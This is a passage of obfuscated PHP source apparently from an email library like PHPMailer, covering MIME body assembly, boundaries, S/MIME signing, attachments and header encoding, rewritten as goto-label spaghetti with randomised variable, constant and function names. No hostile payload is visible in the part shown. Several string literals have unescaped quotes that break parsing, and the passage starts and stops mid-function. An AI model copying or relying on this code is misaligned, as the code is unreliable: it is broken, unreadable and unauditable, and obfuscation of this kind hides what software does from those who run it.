Z_DQA: tWyVK: goto va74T; FAxvH: H6war: goto nLgq9; EGACI: if ($RhhqA) { goto H6war; } goto jRn2D; IA2M0: switch ($this->message_type) { case "inline": goto ieeGN; cBXWo: $oKqtC .= $this->textLine(" boundary="" . $this->boundary[1] . """); goto FpS5o; FpS5o: goto eIIX_; goto YRoAw; ieeGN: $oKqtC .= $this->headerLine("Content-Type", static::m7yR8 . ";"); goto cBXWo; YRoAw: case "attach": case "inline_attach": case "alt_attach": case "alt_inline_attach": goto IqT5C; XTsNl: goto eIIX_; goto FQfu6; IqT5C: $oKqtC .= $this->headerLine("Content-Type", static::H7nBA . ";"); goto a3znG; a3znG: $oKqtC .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); goto XTsNl; FQfu6: case "alt": case "alt_inline": goto ATEdg; ATEdg: $oKqtC .= $this->headerLine("Content-Type", static::BUxGZ . ";"); goto gHzCz; gHzCz: $oKqtC .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); goto d3fP3; d3fP3: goto eIIX_; goto BGypI; BGypI: default: goto dfS4t; R7OLS: goto eIIX_; goto iALEd; JmvHY: $RhhqA = false; goto R7OLS; dfS4t: $oKqtC .= $this->textLine("Content-Type: " . $this->ContentType . "; charset=" . $this->CharSet); goto JmvHY; iALEd: } goto Q2ChK; gIzDo: goto zntFM; goto FAxvH; lOf3G: $oKqtC = ''; goto GveV_; owPCY: $oKqtC .= static::$LE; goto sybXf; GveV_: $RhhqA = true; goto IA2M0; nLgq9: if (!(static::spJZd == $this->Encoding)) { goto TSZhb; } goto TlYXu; v13vy: if (!(static::BAP0e != $this->Encoding)) { goto tWyVK; } goto EGACI; zNwsO: zntFM: goto Z_DQA; PAgEK: } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\xa\xd") . static::$LE . static::$LE . $this->MIMEBody; } protected function generateId() { goto cG5qo; cG5qo: $i7eNA = 32; goto SCmPL; TTWih: goto aUArD; goto tuUP9; ARq8f: goto aUArD; goto xBkNh; fo8WC: if (function_exists("openssl_random_pseudo_bytes")) { goto CIgj_; } goto mUpWg; kvopI: return str_replace(["=", "+", "/"], '', base64_encode(hash("sha256", $pyA67, true))); goto Dsd0n; n0wuq: $pyA67 = random_bytes($i7eNA); goto ARq8f; xBkNh: CIgj_: goto qE6lF; qE6lF: $pyA67 = openssl_random_pseudo_bytes($i7eNA); goto dfCSa; SCmPL: if (function_exists("random_bytes")) { goto HQpal; } goto fo8WC; tuUP9: HQpal: goto n0wuq; dfCSa: aUArD: goto kvopI; mUpWg: $pyA67 = hash("sha256", uniqid((string) mt_rand(), true), true); goto TTWih; Dsd0n: } public function createBody() { goto DPKnX; O44UV: $RxpXh = "This is a multi-part message in MIME format." . static::$LE; goto CJmvX; b4IGq: Z65Zc: goto ewBQU; JhQiU: $g1Iq7 = static::BAP0e; goto NHWfC; dSBhA: ASwnt: goto jtds6; JH7Xs: joB68: goto XxHpO; VNMnu: if (!(static::spJZd == $YLdN3 and !$this->has8bitChars($this->AltBody))) { goto iyPlf; } goto PGVJs; lIzwL: $this->boundary[3] = "b3_" . $this->uniqueid; goto NxJyg; lZX3A: goto U5H01; goto Y8aWH; Sxb6K: ZmG4l: goto WiAAp; cw2fd: $KbIzu = "us-ascii"; goto ITmTv; CJmvX: switch ($this->message_type) { case "inline": goto vFyLl; wkPYb: $qKvMM .= $this->attachAll("inline", $this->boundary[1]); goto EJbvS; h9KOK: $qKvMM .= $this->getBoundary($this->boundary[1], $SlnLq, '', $g1Iq7); goto DfXvf; DfXvf: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto M3OFW; M3OFW: $qKvMM .= static::$LE; goto wkPYb; vFyLl: $qKvMM .= $RxpXh; goto h9KOK; EJbvS: goto CrcN3; goto luFhb; luFhb: case "attach": goto uN3S2; LsT3j: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto RD0a0; RD0a0: $qKvMM .= static::$LE; goto f9bHa; r97lt: goto CrcN3; goto oIcZX; F0HEG: $qKvMM .= $this->getBoundary($this->boundary[1], $SlnLq, '', $g1Iq7); goto LsT3j; uN3S2: $qKvMM .= $RxpXh; goto F0HEG; f9bHa: $qKvMM .= $this->attachAll("attachment", $this->boundary[1]); goto r97lt; oIcZX: case "inline_attach": goto P3OFb; pv7d8: $qKvMM .= static::$LE; goto rnwOg; IA6Z4: $qKvMM .= $this->textLine(" boundary="" . $this->boundary[2] . """); goto pv7d8; nHXiy: $qKvMM .= $this->textLine("--" . $this->boundary[1]); goto jei0Y; P3OFb: $qKvMM .= $RxpXh; goto nHXiy; ISHiF: goto CrcN3; goto mL8oE; wkS9G: $qKvMM .= static::$LE; goto QhQC8; Cc8y3: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto wkS9G; jei0Y: $qKvMM .= $this->headerLine("Content-Type", static::m7yR8 . ";"); goto IA6Z4; iF1Rx: $qKvMM .= static::$LE; goto ObSoi; QhQC8: $qKvMM .= $this->attachAll("inline", $this->boundary[2]); goto iF1Rx; rnwOg: $qKvMM .= $this->getBoundary($this->boundary[2], $SlnLq, '', $g1Iq7); goto Cc8y3; ObSoi: $qKvMM .= $this->attachAll("attachment", $this->boundary[1]); goto ISHiF; mL8oE: case "alt": goto Pb2N3; b84Yb: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto IX7Yq; IX7Yq: $qKvMM .= static::$LE; goto ChJ7d; LQq22: $qKvMM .= $this->encodeString($this->Ical, $this->Encoding); goto T1TOD; ChJ7d: if (empty($this->Ical)) { goto doa4R; } goto x5vqo; jo2CO: $qKvMM .= $this->getBoundary($this->boundary[1], $SlnLq, static::rtK8d, $g1Iq7); goto b84Yb; MBzc5: $qKvMM .= static::$LE; goto jo2CO; IB80o: goto CrcN3; goto reERM; ScRya: $qKvMM .= $this->getBoundary($this->boundary[1], $KbIzu, static::Ha_i0, $YLdN3); goto WE4R7; wRhBw: $qKvMM .= $this->endBoundary($this->boundary[1]); goto IB80o; x5vqo: $qKvMM .= $this->getBoundary($this->boundary[1], '', static::uYtHu . "; method=REQUEST", ''); goto LQq22; kE1rh: doa4R: goto wRhBw; WE4R7: $qKvMM .= $this->encodeString($this->AltBody, $YLdN3); goto MBzc5; T1TOD: $qKvMM .= static::$LE; goto kE1rh; Pb2N3: $qKvMM .= $RxpXh; goto ScRya; reERM: case "alt_inline": goto Zjdwg; qRjse: $qKvMM .= $this->attachAll("inline", $this->boundary[2]); goto c_tch; Zjdwg: $qKvMM .= $RxpXh; goto mO5Pc; XWilR: $qKvMM .= $this->textLine("--" . $this->boundary[1]); goto FnF_T; XQosV: $qKvMM .= $this->textLine("\x9boundary="" . $this->boundary[2] . """); goto xgLN5; c_tch: $qKvMM .= static::$LE; goto a6FOz; MtNMG: $qKvMM .= static::$LE; goto XWilR; BjqBo: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto wsn1d; mO5Pc: $qKvMM .= $this->getBoundary($this->boundary[1], $KbIzu, static::Ha_i0, $YLdN3); goto uQejN; FnF_T: $qKvMM .= $this->headerLine("Content-Type", static::m7yR8 . ";"); goto XQosV; xgLN5: $qKvMM .= static::$LE; goto qzVWy; d5ZgM: goto CrcN3; goto aUNq3; uQejN: $qKvMM .= $this->encodeString($this->AltBody, $YLdN3); goto MtNMG; a6FOz: $qKvMM .= $this->endBoundary($this->boundary[1]); goto d5ZgM; qzVWy: $qKvMM .= $this->getBoundary($this->boundary[2], $SlnLq, static::rtK8d, $g1Iq7); goto BjqBo; wsn1d: $qKvMM .= static::$LE; goto qRjse; aUNq3: case "alt_attach": goto O091z; LjLYY: $qKvMM .= $this->encodeString($this->AltBody, $YLdN3); goto kJh1a; O091z: $qKvMM .= $RxpXh; goto CUkcF; SxJta: $qKvMM .= static::$LE; goto ER9py; wv4f9: $qKvMM .= $this->getBoundary($this->boundary[2], $KbIzu, static::Ha_i0, $YLdN3); goto LjLYY; Rbh2j: Mp7RT: goto dEhzd; VRPA7: $qKvMM .= $this->textLine(" boundary="" . $this->boundary[2] . """); goto mzLyW; bzYh0: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto d2u0C; SMRbz: $qKvMM .= $this->encodeString($this->Ical, $this->Encoding); goto Rbh2j; VmUB8: $qKvMM .= $this->getBoundary($this->boundary[2], '', static::uYtHu . "; method=REQUEST", ''); goto SMRbz; CUkcF: $qKvMM .= $this->textLine("--" . $this->boundary[1]); goto mWawg; d2u0C: $qKvMM .= static::$LE; goto wyit5; IH0C_: goto CrcN3; goto XOEHX; mzLyW: $qKvMM .= static::$LE; goto wv4f9; mWawg: $qKvMM .= $this->headerLine("Content-Type", static::BUxGZ . ";"); goto VRPA7; zZurb: $qKvMM .= $this->getBoundary($this->boundary[2], $SlnLq, static::rtK8d, $g1Iq7); goto bzYh0; dEhzd: $qKvMM .= $this->endBoundary($this->boundary[2]); goto SxJta; ER9py: $qKvMM .= $this->attachAll("attachment", $this->boundary[1]); goto IH0C_; kJh1a: $qKvMM .= static::$LE; goto zZurb; wyit5: if (empty($this->Ical)) { goto Mp7RT; } goto VmUB8; XOEHX: case "alt_inline_attach": goto qYrkh; dZx0h: $qKvMM .= static::$LE; goto gFIti; MZMV1: $qKvMM .= static::$LE; goto RPWwX; gFIti: $qKvMM .= $this->getBoundary($this->boundary[2], $KbIzu, static::Ha_i0, $YLdN3); goto zh3b3; xN1WV: $qKvMM .= static::$LE; goto WrTrD; aN3Dt: $qKvMM .= $this->textLine("\x9boundary="" . $this->boundary[2] . """); goto dZx0h; uG7cU: $qKvMM .= static::$LE; goto Do3Wt; zHY1C: $qKvMM .= $this->attachAll("attachment", $this->boundary[1]); goto Hu0Lo; WrTrD: $qKvMM .= $this->endBoundary($this->boundary[2]); goto QcZBq; zctM7: $qKvMM .= $this->encodeString($this->Body, $g1Iq7); goto uG7cU; D_BnT: $qKvMM .= $this->headerLine("Content-Type", static::m7yR8 . ";"); goto Bj3FX; QcZBq: $qKvMM .= static::$LE; goto zHY1C; GCr1m: $qKvMM .= $this->textLine("--" . $this->boundary[2]); goto D_BnT; VDlZa: $qKvMM .= static::$LE; goto GCr1m; Do3Wt: $qKvMM .= $this->attachAll("inline", $this->boundary[3]); goto xN1WV; RPWwX: $qKvMM .= $this->getBoundary($this->boundary[3], $SlnLq, static::rtK8d, $g1Iq7); goto zctM7; Bj3FX: $qKvMM .= $this->textLine(" boundary="" . $this->boundary[3] . """); goto MZMV1; zh3b3: $qKvMM .= $this->encodeString($this->AltBody, $YLdN3); goto VDlZa; qYrkh: $qKvMM .= $RxpXh; goto JyPHO; paFko: $qKvMM .= $this->headerLine("Content-Type", static::BUxGZ . ";"); goto aN3Dt; JyPHO: $qKvMM .= $this->textLine("--" . $this->boundary[1]); goto paFko; Hu0Lo: goto CrcN3; goto kw_yO; kw_yO: default: goto nMDo9; nMDo9: $this->Encoding = $g1Iq7; goto GrjD7; NLfAz: goto CrcN3; goto BRTfW; GrjD7: $qKvMM .= $this->encodeString($this->Body, $this->Encoding); goto NLfAz; BRTfW: } goto Sxb6K; fAhOf: goto U5H01; goto JH7Xs; XxHpO: $qKvMM = ''; goto K6WuN; ITmTv: iyPlf: goto nqc4q; OG893: throw new Exception($this->lang("empty_message"), self::OsS1U); goto tKX05; jtds6: $this->setWordWrap(); goto dqdx4; f_0Db: $this->boundary[2] = "b2_" . $this->uniqueid; goto lIzwL; limAq: eWVAn: goto nNtYW; dqdx4: $g1Iq7 = $this->Encoding; goto hlrZ_; NJmvS: $YLdN3 = static::Vz4Kt; goto xRDUF; tKX05: vQTls: goto lZX3A; nqc4q: if (!(static::GWlmS != $YLdN3 and static::hasLineLongerThanMax($this->AltBody))) { goto KTk2p; } goto NJmvS; RhPzQ: $KbIzu = $this->CharSet; goto VNMnu; mVoRh: if ($this->sign_key_file) { goto sTb4d; } goto fAhOf; xRDUF: KTk2p: goto O44UV; K6WuN: if (!$this->exceptions) { goto vQTls; } goto OG893; hJCT8: $this->boundary[1] = "b1_" . $this->uniqueid; goto f_0Db; NxJyg: if (!$this->sign_key_file) { goto ASwnt; } goto ZYtxy; DPKnX: $qKvMM = ''; goto I6QJB; PGVJs: $YLdN3 = static::BAP0e; goto cw2fd; ZYtxy: $qKvMM .= $this->getMailMIME() . static::$LE; goto dSBhA; ewBQU: $YLdN3 = $this->Encoding; goto RhPzQ; IT_US: $g1Iq7 = static::Vz4Kt; goto b4IGq; Y8aWH: sTb4d: goto LHqds; NHWfC: $SlnLq = "us-ascii"; goto limAq; WiAAp: CrcN3: goto nU4qT; I6QJB: $this->uniqueid = $this->generateId(); goto hJCT8; KYD6W: return $qKvMM; goto r1Irt; NWMT4: U5H01: goto KYD6W; nU4qT: if ($this->isError()) { goto joB68; } goto mVoRh; PycoS: if (!(static::spJZd == $g1Iq7 and !$this->has8bitChars($this->Body))) { goto eWVAn; } goto JhQiU; nNtYW: if (!(static::GWlmS != $this->Encoding and static::hasLineLongerThanMax($this->Body))) { goto Z65Zc; } goto IT_US; LHqds: try { goto LLoRN; k49M9: FHl2h: goto WpmWN; GhLau: $w0Ppc = @openssl_pkcs7_sign($AbsOY, $w0iWt, "file://" . realpath($this->sign_cert_file), ["file://" . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file); goto MY3y_; WpmWN: $qKvMM = file_get_contents($w0iWt); goto J1H_Y; c69OU: throw new Exception($this->lang("signing") . openssl_error_string()); goto YxhhA; YxhhA: goto UudV3; goto k49M9; J1H_Y: fclose($w0iWt); goto m07Lz; R8lkS: DWCCb: goto qVIu0; m07Lz: $Hhmeq = explode("
", $qKvMM, 2); goto aP6xP; A354P: $w0iWt = fopen("php://temp", "rb+"); goto ozUhi; Wt7si: $w0Ppc = @openssl_pkcs7_sign($AbsOY, $w0iWt, "file://" . realpath($this->sign_cert_file), ["file://" . realpath($this->sign_key_file), $this->sign_key_pass], []); goto R8lkS; MY3y_: goto DWCCb; goto iNWCx; BkZdx: throw new Exception($this->lang("extension_missing") . "openssl"); goto PsIVk; iNWCx: Ehqca: goto Wt7si; PsIVk: v2hba: goto Na6lS; ozUhi: fwrite($AbsOY, $qKvMM); goto ZFTgF; dyGYp: UudV3: goto ax3nz; DObGH: if ($w0Ppc) { goto FHl2h; } goto cnDtE; aP6xP: $this->MIMEHeader .= $Hhmeq[0] . static::$LE . static::$LE; goto aF8DK; Na6lS: $AbsOY = fopen("php://temp", "rb+"); goto A354P; ZFTgF: if (empty($this->sign_extracerts_file)) { goto Ehqca; } goto GhLau; LLoRN: if (defined("PKCS7_TEXT")) { goto v2hba; } goto BkZdx; aF8DK: $qKvMM = $Hhmeq[1]; goto dyGYp; cnDtE: fclose($w0iWt); goto c69OU; qVIu0: fclose($AbsOY); goto DObGH; ax3nz: } catch (Exception $AggU6) { goto iEBEP; W9xRE: AYocW: goto pjQiN; MadGy: throw $AggU6; goto W9xRE; iEBEP: $qKvMM = ''; goto ps3Hi; ps3Hi: if (!$this->exceptions) { goto AYocW; } goto MadGy; pjQiN: } goto NWMT4; hlrZ_: $SlnLq = $this->CharSet; goto PycoS; r1Irt: } protected function getBoundary($gETmj, $AKSdI, $UUHZ7, $DbPq0) { goto e0or7; cD9j4: $DbPq0 = $this->Encoding; goto oJKJf; Ht3GO: $AKSdI = $this->CharSet; goto HwViX; EBHFI: $UUHZ7 = $this->ContentType; goto w6xvP; bLmbO: if (!('' == $AKSdI)) { goto pCf1i; } goto Ht3GO; qTxe_: if (!(static::BAP0e != $DbPq0)) { goto B_hEY; } goto CyR0C; DQBB6: return $oKqtC; goto z7fIe; BSnJ1: B_hEY: goto Tw1St; tIuQF: if (!('' == $DbPq0)) { goto GO3AW; } goto cD9j4; CyR0C: $oKqtC .= $this->headerLine("Content-Transfer-Encoding", $DbPq0); goto BSnJ1; yfGHa: if (!('' == $UUHZ7)) { goto pE9du; } goto EBHFI; FZIwR: $oKqtC .= static::$LE; goto qTxe_; HwViX: pCf1i: goto yfGHa; Tw1St: $oKqtC .= static::$LE; goto DQBB6; oJKJf: GO3AW: goto Po4b3; w6xvP: pE9du: goto tIuQF; Po4b3: $oKqtC .= $this->textLine("--" . $gETmj); goto b8uoB; e0or7: $oKqtC = ''; goto bLmbO; b8uoB: $oKqtC .= sprintf("Content-Type: %s; charset=%s", $UUHZ7, $AKSdI); goto FZIwR; z7fIe: } protected function endBoundary($gETmj) { return static::$LE . "--" . $gETmj . "--" . static::$LE; } protected function setMessageType() { goto Q76d0; oQdB3: $this->message_type = implode("_", $oerFh); goto vHK_S; o49hP: PXN2r: goto QIaxO; QIaxO: if (!$this->attachmentExists()) { goto Da_fj; } goto WVEmo; vHK_S: if (!('' == $this->message_type)) { goto VD_0N; } goto yO8Aa; KOVXY: VD_0N: goto VGw_H; yO8Aa: $this->message_type = "plain"; goto KOVXY; pr60y: if (!$this->alternativeExists()) { goto iBg_B; } goto cVIIW; Q76d0: $oerFh = []; goto pr60y; WVEmo: $oerFh[] = "attach"; goto KuLnh; KuLnh: Da_fj: goto oQdB3; GeiqU: $oerFh[] = "inline"; goto o49hP; cVIIW: $oerFh[] = "alt"; goto u3bKY; ENWyv: if (!$this->inlineImageExists()) { goto PXN2r; } goto GeiqU; u3bKY: iBg_B: goto ENWyv; VGw_H: } public function headerLine($UxOLN, $TZqE1) { return $UxOLN . ": " . $TZqE1 . static::$LE; } public function textLine($TZqE1) { return $TZqE1 . static::$LE; } public function addAttachment($q7qVx, $UxOLN = '', $DbPq0 = self::GWlmS, $oerFh = '', $z9qgn = "attachment") { try { goto w8rB6; eAKR0: if (!('' == $oerFh)) { goto WGdBT; } goto zApKy; sjY88: if (!('' == $UxOLN)) { goto eerCX; } goto DyFuS; f5rzy: eerCX: goto LCwZt; SS4PM: EEJau: goto eAKR0; zApKy: $oerFh = static::filenameToType($q7qVx); goto nbEGB; ssmaf: $JqJrD = basename($q7qVx); goto sjY88; kctaA: throw new Exception($this->lang("file_access") . $q7qVx, self::zcFf8); goto SS4PM; w8rB6: if (!(!static::isPermittedPath($q7qVx) || !@is_file($q7qVx))) { goto EEJau; } goto kctaA; nbEGB: WGdBT: goto ssmaf; DyFuS: $UxOLN = $JqJrD; goto f5rzy; LCwZt: $this->attachment[] = [0 => $q7qVx, 1 => $JqJrD, 2 => $UxOLN, 3 => $DbPq0, 4 => $oerFh, 5 => false, 6 => $z9qgn, 7 => $UxOLN]; goto Sbfv7; Sbfv7: } catch (Exception $AggU6) { goto yMGZg; yMGZg: $this->setError($AggU6->getMessage()); goto TFtdY; TFtdY: $this->edebug($AggU6->getMessage()); goto qsH8j; MK71q: zO2nC: goto dZXux; NrJKr: throw $AggU6; goto MK71q; dZXux: return false; goto mP5Dc; qsH8j: if (!$this->exceptions) { goto zO2nC; } goto NrJKr; mP5Dc: } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($WXufc, $gETmj) { goto nW10h; DuczI: $p0n7r = []; goto SkJ_j; nW10h: $N2nfc = []; goto DuczI; hhtYp: return implode('', $N2nfc); goto VCW1m; YYjWu: foreach ($this->attachment as $ZuLe4) { goto atA_x; a_Dja: gIsoJ: goto S9RAv; AHZ3E: c3VXp: goto hx1An; fBPtD: $N2nfc[] = sprintf("Content-Disposition: %s; filename=%s%s", $z9qgn, $WwIeq, static::$LE . static::$LE); goto a_Dja; o0Ujy: $q7qVx = $ZuLe4[0]; goto RqHv8; f_lCM: $BvS5Q = $ZuLe4[5]; goto lMLxF; RRzEv: XmGkF: goto Fivfw; Nv4pz: ryX2c: goto dQPcw; kUeFr: if (!empty($UxOLN)) { goto hoKFH; } goto xbpus; VY8rQ: $a1lxU = hash("sha256", serialize($ZuLe4)); goto MvzMm; gESac: X05xL: goto Kei6C; MUWj7: $t9Ug3[] = $a1lxU; goto r1ZwT; EWtSd: kfMYC: goto VY8rQ; VBG_h: $q7qVx = ''; goto f_lCM; J3Old: if ($BvS5Q) { goto Bh3z1; } goto UW6h7; li5i7: goto XmGkF; goto MQOY5; r1ZwT: $UxOLN = $ZuLe4[2]; goto J1SAr; N6uLJ: if (!empty($WwIeq)) { goto NHRlF; } goto ChnH6; nEprl: vcKUR: goto y8wZh; q_mE_: if (preg_match("/[ \(\)<>@,;:\"\/\[\]\?=]/", $WwIeq)) { goto X05xL; } goto N6uLJ; VHOj7: Jmu9T: goto r4xiI; VJ6E1: $N2nfc[] = sprintf("Content-ID: <%s>%s", $Sa3tp, static::$LE); goto VHOj7; MvzMm: if (!in_array($a1lxU, $t9Ug3)) { goto gru24; } goto li5i7; HRQWh: goto vcKUR; goto AyyzR; e4Fer: $oerFh = $ZuLe4[4]; goto wHTO9; kln0L: $Sa3tp = $ZuLe4[7]; goto DuUjK; hGKgc: $N2nfc[] = sprintf("--%s%s", $gETmj, static::$LE); goto kUeFr; fL2o_: $N2nfc[] = sprintf("Content-Transfer-Encoding: %s%s", $DbPq0, static::$LE); goto lRbBR; R8ZZx: $Yc9br = ''; goto VBG_h; lOaKK: NHRlF: goto fBPtD; vHxS4: if (empty($Sa3tp)) { goto Jmu9T; } goto VJ6E1; pp4x6: if (!(static::BAP0e != $DbPq0)) { goto Z3MbV; } goto fL2o_; wHTO9: $z9qgn = $ZuLe4[6]; goto kln0L; rg3Gb: B5mno: goto fW1PB; dvCL4: goto CiYiL; goto sQNMA; UW6h7: $N2nfc[] = $this->encodeFile($q7qVx, $DbPq0); goto HRQWh; atA_x: if (!($ZuLe4[6] == $WXufc)) { goto cXLUJ; } goto R8ZZx; AyyzR: Bh3z1: goto i_sia; afXOH: $N2nfc[] = sprintf("Content-Type: %s; name="%s"%s", $oerFh, $this->encodeHeader($this->secureHeader($UxOLN)), static::$LE); goto Qd2RG; ppFhS: LH58_: goto ywa3s; p2JX0: goto XmGkF; goto NjKte; lMLxF: if ($BvS5Q) { goto c3VXp; } goto o0Ujy; S9RAv: goto B5mno; goto gESac; Tr82a: goto gIsoJ; goto lOaKK; yvMdo: $N2nfc[] = static::$LE; goto tGup4; umcRb: return ''; goto Nv4pz; DuUjK: if (!("inline" == $z9qgn and array_key_exists($Sa3tp, $p0n7r))) { goto qoYHX; } goto p2JX0; r4xiI: if (!empty($z9qgn)) { goto LH58_; } goto yvMdo; lRbBR: Z3MbV: goto vHxS4; Qd2RG: CiYiL: goto pp4x6; NjKte: qoYHX: goto Cel9O; tGup4: goto YmczM; goto ppFhS; Cel9O: $p0n7r[$Sa3tp] = true; goto hGKgc; hx1An: $Yc9br = $ZuLe4[0]; goto EWtSd; xbpus: $N2nfc[] = sprintf("Content-Type: %s%s", $oerFh, static::$LE); goto dvCL4; Kei6C: $N2nfc[] = sprintf("Content-Disposition: %s; filename="%s"%s", $z9qgn, $WwIeq, static::$LE . static::$LE); goto rg3Gb; ywa3s: $WwIeq = $this->encodeHeader($this->secureHeader($UxOLN)); goto q_mE_; y8wZh: if (!$this->isError()) { goto ryX2c; } goto umcRb; J1SAr: $DbPq0 = $ZuLe4[3]; goto e4Fer; fW1PB: YmczM: goto J3Old; ChnH6: $N2nfc[] = sprintf("Content-Disposition: %s%s", $z9qgn, static::$LE . static::$LE); goto Tr82a; i_sia: $N2nfc[] = $this->encodeString($Yc9br, $DbPq0); goto nEprl; MQOY5: gru24: goto MUWj7; sQNMA: hoKFH: goto afXOH; dQPcw: $N2nfc[] = static::$LE; goto v12QU; v12QU: cXLUJ: goto RRzEv; RqHv8: goto kfMYC; goto AHZ3E; Fivfw: } goto IeAxe; ZK4gQ: $N2nfc[] = sprintf("--%s--%s", $gETmj, static::$LE); goto hhtYp; IeAxe: I9xYc: goto ZK4gQ; SkJ_j: $t9Ug3 = []; goto YYjWu; VCW1m: } protected function encodeFile($q7qVx, $DbPq0 = self::GWlmS) { try { goto gXxah; MNNPR: if (!(false === $HSzDl)) { goto pJSgI; } goto xXgJO; E98hJ: throw new Exception($this->lang("file_open") . $q7qVx, self::zcFf8); goto b8COk; gXxah: if (!(!static::isPermittedPath($q7qVx) || !file_exists($q7qVx))) { goto M0FKa; } goto E98hJ; NYZL7: return $HSzDl; goto DRmSu; oYz3W: $HSzDl = $this->encodeString($HSzDl, $DbPq0); goto NYZL7; xXgJO: throw new Exception($this->lang("file_open") . $q7qVx, self::zcFf8); goto YJ0Jw; YJ0Jw: pJSgI: goto oYz3W; os3Pj: $HSzDl = file_get_contents($q7qVx); goto MNNPR; b8COk: M0FKa: goto os3Pj; DRmSu: } catch (Exception $AggU6) { $this->setError($AggU6->getMessage()); return ''; } } public function encodeString($F2YZh, $DbPq0 = self::GWlmS) { goto RbxDZ; NpB6c: A7giQ: goto aKYOG; aKYOG: return $wP2Eq; goto OYonn; VOWDq: g5DrN: goto NpB6c; hJUcz: switch (strtolower($DbPq0)) { case static::GWlmS: $wP2Eq = chunk_split(base64_encode($F2YZh), static::QKaVA, static::$LE); goto A7giQ; case static::BAP0e: case static::spJZd: goto iRLws; h4EZE: if (!(substr($wP2Eq, -strlen(static::$LE)) != static::$LE)) { goto jK6pj; } goto fC8CL; y6dOc: jK6pj: goto y6cwT; iRLws: $wP2Eq = static::normalizeBreaks($F2YZh); goto h4EZE; y6cwT: goto A7giQ; goto CzMJ0; fC8CL: $wP2Eq .= static::$LE; goto y6dOc; CzMJ0: case static::ZyBpb: $wP2Eq = $F2YZh; goto A7giQ; case static::Vz4Kt: $wP2Eq = $this->encodeQP($F2YZh); goto A7giQ; default: $this->setError($this->lang("encoding") . $DbPq0); goto A7giQ; } goto VOWDq; RbxDZ: $wP2Eq = ''; goto hJUcz; OYonn: } public function encodeHeader($F2YZh, $Y5Lx4 = "text") { goto fxCWT; pxIhD: $wP2Eq = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$DbPq0}?\1?=", $wP2Eq); goto nlHfr; DwllZ: if ($EoEEz > 0) { goto b6uuC; } goto FTNAK; fl4e3: gXfIr: goto T8k7S; f4F6R: $wP2Eq = trim(chunk_split($F2YZh, static::QKaVA, static::$LE)); goto fl4e3; edc3T: $hi4l2 = static::QKaVA - $gqBwP - 8 - strlen($this->CharSet); goto X6bYK; o58Af: goto xtDmM; goto LyayO; b_GKl: $hi4l2 = static::QKaVA - $gqBwP - 8 - strlen($this->CharSet); goto xfNyb; xfNyb: if ($this->hasMultiBytes($F2YZh)) { goto s6OzY; } goto GDl5g; T8k7S: $wP2Eq = str_replace(static::$LE, "
", trim($wP2Eq)); goto aYyBU; IhJ6d: $wP2Eq = trim(chunk_split($wP2Eq, $hi4l2, "\xa")); goto o58Af; DNMNc: clJ20: goto VMcyQ; Qm54h: $DbPq0 = "Q"; goto edc3T; jo58p: $gqBwP = "mail" == $this->Mailer ? 13 : 0; goto Sxpfv; LsMI8: xtDmM: goto f1wMC; HWF2i: b6uuC: goto Qm54h; E78BH: $hi4l2 -= $hi4l2 % 4; goto IhJ6d; FTNAK: if (strlen($F2YZh) > $hi4l2) { goto MrPLI; } goto VWXYz; nlHfr: goto gVxRu; goto mmwHE; yS3gy: ZWLUS: goto gYYV9; VWXYz: return $F2YZh; goto Hokjw; X6bYK: $wP2Eq = $this->encodeQ($F2YZh, $Y5Lx4); goto TfvL8; dg_Vi: $wP2Eq = str_replace("=" . static::$LE, "\xa", trim($wP2Eq)); goto pxIhD; wPjhm: $wP2Eq = trim($this->wrapText($F2YZh, $hi4l2, false)); goto Jq_iP; fxCWT: $EoEEz = 0; goto wgckl; mmwHE: MrPLI: goto wPjhm; LyayO: s6OzY: goto Aw51k; Jq_iP: if (!($F2YZh == $wP2Eq)) { goto gXfIr; } goto f4F6R; TfvL8: $wP2Eq = $this->wrapText($wP2Eq, $hi4l2, true); goto dg_Vi; Aw51k: $wP2Eq = $this->base64EncodeWrapMB($F2YZh, "\xa"); goto LsMI8; DAOpZ: gVxRu: goto WtmsA; Hokjw: goto gVxRu; goto yS3gy; GDl5g: $wP2Eq = base64_encode($F2YZh); goto E78BH; VMcyQ: FKUTF: goto jo58p; f1wMC: $wP2Eq = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$DbPq0}?\1?=", $wP2Eq); goto uUuHs; aYyBU: $wP2Eq = preg_replace("/^(.*)$/m", " \1", $wP2Eq); goto DAOpZ; WtmsA: return trim(static::normalizeBreaks($wP2Eq)); goto R7hZv; gYYV9: $DbPq0 = "B"; goto b_GKl; uUuHs: goto gVxRu; goto HWF2i; wgckl: switch (strtolower($Y5Lx4)) { case "phrase": goto WEUPA; UdZNy: goto FKUTF; goto hrHJX; O2QC3: rrJLd: goto iVTF_; w49ZN: RCDCO: goto HfkxE; iRjxq: return $wP2Eq; goto w49ZN; WEUPA: if (preg_match("/[\200-\377]/", $F2YZh)) { goto rrJLd; } goto A_412; iVTF_: $EoEEz = preg_match_all("/[^\040\041\043-\133\135-\176]/", $F2YZh, $LlSup); goto UdZNy; A_412: $wP2Eq = addcslashes($F2YZh, "\x0..\37\x7f\""); goto K6vB0; K6vB0: if (!($F2YZh == $wP2Eq and !preg_match("/[^A-Za-z0-9!#$%&'*+\/=?^_`{|}~ -]/", $F2YZh))) { goto RCDCO; } goto iRjxq; HfkxE: return ""{$wP2Eq}""; goto O2QC3; hrHJX: case "comment": $EoEEz = preg_match_all("/[()"]/", $F2YZh, $LlSup); case "text": default: $EoEEz += preg_match_all("/[\000-\010\013\014\016-\037\177-\377]/", $F2YZh, $LlSup); goto FKUTF; } goto DNMNc; Yamsx: if ($EoEEz > strlen($F2YZh) / 3) { goto ZWLUS; } goto DwllZ; Sxpfv: $hi4l2 = static::QKaVA - $gqBwP; goto Yamsx; R7hZv: } public function hasMultiBytes($F2YZh) { goto HDw8B; eYieV: K5fv9: goto RBpqb; yC2zM: return strlen($F2YZh) > jMM3D($F2YZh, $this->CharSet); goto eYieV; RBpqb: return false; goto u7mZw; 